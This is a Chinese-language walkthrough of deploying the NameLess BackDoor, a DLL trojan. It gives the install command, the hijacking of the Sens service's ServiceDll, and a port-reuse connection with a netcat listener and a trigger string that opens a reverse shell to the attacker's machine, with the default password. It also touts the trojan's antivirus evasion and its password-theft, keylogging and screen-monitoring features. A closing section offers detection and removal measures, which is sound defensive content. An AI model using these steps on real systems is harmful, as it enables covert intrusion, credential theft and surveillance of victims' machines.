木馬譜系：集大成者的「隱身術」

NameLess BackDoor 是一款新興 DLL 型後門木馬，融合了榮哥「BITS」與 WinEggDrop「PortLess」兩大經典木馬優點，並修正其缺陷：

• ✅ 進程管理器無進程顯示（無 cmd.exe 彈出）；
• ✅ 平時不開端口（端口復用技術）；
• ✅ 支持正向連接與反向連接雙模式；
• ✅ 無需依賴 BITS 服務，安裝更隱蔽。

作者豪言：「不開端口、無進程，看防火牆和殺毒軟件拿我怎麼辦！」

實戰演練全紀錄

階段一：隨風潛入夜 —— 安裝

1. 獲取木馬：壓縮包含 NameLess.dll（Pack 加殼版 / Unpack 裸版）。
2. 本地殺毒測試：KV2005 最新病毒庫全報安全，確認免殺能力。
3. 滲透目標：掃描漏洞 → 入侵控制 → 上傳 DLL（示例用 Telnet + FTP 下載）。
4. 安裝命令：Rundll32 NameLess.dll,Install
5. 安裝機制：後門自動替換系統服務 Sens 的 ServiceDll 路徑，重啟後隨 Svchost.exe 載入運行。
   關鍵點：全程殺毒軟件無任何提示（DLL 注入服務屬正常系統行為）。

階段二：穿牆細無聲 —— 連接

利用 端口復用技術：重用系統進程（如 139 端口）已開放端口，繞過防火牆入站規則。

1. 攻擊機監聽：nc -l -p 12345
2. 連接目標開放端口（假設 139）：nc 192.168.1.11 139
3. 發送觸發指令：dargun|192.168.1.11:12345（IP 為攻擊機，端口為監聽端口）。
4. 目標木馬反彈連接至攻擊機 12345 端口，顯示 Enter Password:，輸入默認密碼 158352692 即獲 Shell。
5. 全程防火牆無警報（出站連接由受信系統進程發起，目標端口為攻擊機高位端口）。

階段三：為我所欲為 —— 控制

登陸後輸入 help 顯示命令集，風格類似 WinShell/WineggdropShell，上手極易。核心功能演示：

• 巧盜管理員密碼：命令 findpass 秒出明文密碼（利用 SAM 註冊表離線解密或內存讀取）。
• 文件管理（上傳/下載/執行/刪除）、進程管理、註冊表操作、屏幕監控、鍵盤記錄、端口轉發、SOCKS 代理等標配功能一應俱全。

檢測與清除對策

針對此類「無文件/無端口/無進程」高級持久化威脅 (APT) 特徵：

1. 內存取證：Volatility 分析內存鏡像，檢測 Svchost.exe 異常載入非標準 DLL、服務鍵值 ServiceDll 被篡改。
2. 註冊表監控：監控 HKLM\SYSTEM\CurrentControlSet\Services\Sens\Parameters\ServiceDll 變更事件（Sysmon Event ID 12/13/14）。
3. 網絡流量分析：異常長連接、非標準協議複用知名端口（如 139 端口傳輸非 SMB 流量）。
4. 應用控制：Applocker/WDAC 限制 Rundll32.exe 僅允許簽名 DLL；禁用非必要的 nc/telnet 等工具。
5. EDR 行為阻斷：攔截服務註冊表修改、進程注入、異常網絡連接行為。

結語

NameLess BackDoor 展示了 DLL 型木馬結合「服務劫持 + 端口復用 + 反向連接」的極致隱蔽性。傳統特徵碼殺毒、基於端口的防火牆對其近乎無效。唯有基於行為的內存級檢測、註冊表審計、零信任網絡微隔離才能有效應對。安全防禦必須從「查殺文件」轉向「監控行為、審計配置、假設失陷」。